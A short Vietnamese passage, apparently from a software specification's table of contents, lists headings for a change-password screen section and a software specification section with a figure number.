nhân 2. 2 .29 Màn hình đổi password 2. 3 Đặc tả phần mềm Hình 2. 3.0